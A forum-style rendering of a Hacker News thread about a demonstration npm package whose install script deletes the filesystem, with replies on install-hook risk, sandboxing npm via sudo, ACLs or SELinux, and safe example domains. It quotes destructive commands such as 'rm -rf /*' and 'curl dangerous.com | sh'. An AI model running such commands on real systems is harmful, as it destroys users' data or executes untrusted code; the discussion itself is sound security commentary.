Hacker News Board Hacker News, browsed like a classic message board
Live data from Hacker News

Npm install could be dangerous

github.com

Post reply on HN
Print view View original

71–80 of 100 posts

Re: Npm install could be dangerous

#71

Post by yourad_io »

jscheel wrote: post #67
detaro wrote: post #3

Somehow I feel like using something that just simulates rm -rf /* would have brought the point across just as well and a bit safer...

Agreed, this is irresponsible.

There's warnings even in the description of the package:

    "name": "rimrafall",
    "version": "1.0.0",
    "description": "rm -rf /* # DO NOT INSTALL THIS",
How would you accidentally rm rf yourself with this?

A github issue "should" have sufficed, but it often doesn't. A practical demonstration is powerful enough to trigger immediate action.

Re: Npm install could be dangerous

#72

Post by namuol »

eyko wrote: post #61
XorNot wrote: post #60

So this doesn't strike me as an npm issue but something more fundamental: there is no easy way on any platform to define a set of rules for processes I invoke via the command line. Like, it would be really really nice if I could wrap npm so it can only write to $HOME/.npm, /tmp and the current working directory - but I know of no system which will currently let me do that suitably dynamically.

Unix user permissions take care of that.

Kinda. It would be nicer to limit permissions on a per-"application" level, requiring one-time explicit grants from the user, kinda like how a lot of platforms already do it (web browsers, Android APK, etc).

Re: Npm install could be dangerous

#73

Post by Figs »

dhruvbird wrote: post #17

Can I do the same with Makefiles?

It's possible to write malicious Makefiles that do things like:

    install:
        rm -rf /*
If you just `git clone . && make` or `git clone . && sudo make install` then sure, you'll be burned too. You should always check what a build system is going to do before running it.

Most people would expect that packages from a package manager have already been checked by someone who knows what they're doing before being made available to the public though (like Debian). This is apparently not the case for npm.

Re: Npm install could be dangerous

#74

Post by Sanddancer »

XorNot wrote: post #60

So this doesn't strike me as an npm issue but something more fundamental: there is no easy way on any platform to define a set of rules for processes I invoke via the command line. Like, it would be really really nice if I could wrap npm so it can only write to $HOME/.npm, /tmp and the current working directory - but I know of no system which will currently let me do that suitably dynamically.

Sudo and ACLs. There's a lot of power in there under the hood that a lot of people don't think of with these types of problems. For your specific use case, I'd start by creating a new user, something like $USER-npm-install. Next, I'd set acls on $HOME/.npm to allow write access with setfacl, something like setfacl -m u:$USER-npm-install:rwx $HOME/.npm .

For the actual script, I'd have it check to make sure that the current working directory is owned by you, then have it setfacl -m u:$USER-npm-install:rwx . to temporarily give the installer user access, then do sudo -u $USER-npm-install npm install Whatever . After it's done, I'd do sudo chown -R $USER . to get everything owned by you, and setfacl -m u:$USER-npm-install:--- . to revoke the permissions until needed for next time.

If my brain were suitably in gear, I'd give more than a 20000 foot view of what needs to be done, but those are the basics. A lot of people think of sudo as just being something for getting to root, but it is rather useful for creating sandboxed users for potentially dangerous actions as well. Create a user with just enough privileges to do what needs to be done, and have fun.

Re: Npm install could be dangerous

#75

Post by billyhoffman »

glittershark wrote: post #24
billyhoffman wrote: post #13

Earlier quoted context omitted.

I often wonder about the results of people using functional hostnames in their examples. Most PoC exploit code use "target.com" as a place holder which makes sense, but hilariously is also the hostname for US retailer Target...

This is exactly the reason example.com exists

Yep. RFC2606 It is what they should use. And if you need to specify 2 hosts, you can use example.net and .org as well.

Unfortunately, the example domains don't convey context very well, so we see things like target.com, victim.com, etc

Re: Npm install could be dangerous

#76

Post by tete »

raesene5 wrote: post #28

This is a problem with most/all lib installers. They tend to have hooks to allow post-install actions and those hooks tend to be able to run OS commands, with the privileges of the installing user. Of course what's extra worrying is it's not just the libs you directly install, but all their dependencies which get to carry out these actions. So for example when you install rails, it will install quite a large number o…

Well, even if it wasn't a post/pre install, even a node library can fork that exact command, upload your home directory, etc.

That's actually the reason it isn't just dangerous if run as root. Many people have huge amounts of sensitive information and data with read and write access.

A library could of course also fetch even more data. One could create an npm based botnet.

Re: Npm install could be dangerous

#77

Post by viraptor »

XorNot wrote: post #60

So this doesn't strike me as an npm issue but something more fundamental: there is no easy way on any platform to define a set of rules for processes I invoke via the command line. Like, it would be really really nice if I could wrap npm so it can only write to $HOME/.npm, /tmp and the current working directory - but I know of no system which will currently let me do that suitably dynamically.

Selinux, apparmor, tomoyo, rbac already do this. They will need some configuration though if you want to use them with binaries in your home directory.

Re: Npm install could be dangerous

#78

Post by varikin »

billyhoffman wrote: post #75
glittershark wrote: post #24

Earlier quoted context omitted.

This is exactly the reason example.com exists

Yep. RFC2606 It is what they should use. And if you need to specify 2 hosts, you can use example.net and .org as well. Unfortunately, the example domains don't convey context very well, so we see things like target.com, victim.com, etc

This can be corrected by target.example.com and victim.example.com. Conveys the context while remaining safe as an example.

Re: Npm install could be dangerous

#80

Post by talles »

wging wrote: post #49
talles wrote: post #44

> can be as dangerous as curl dangerous.com | sh What's dangerous.com ?

Any site that serves up content that will be interpreted by `sh`. Meaning, what happens if someone decides they want you to lose your home directory? They serve up the content "rm -rf ~". That doesn't even require privilege escalation, but it might ruin your day.

Let me rephrase:

Is dangerous.com a website with fame for such trick or it's just a name example?

Post reply on HN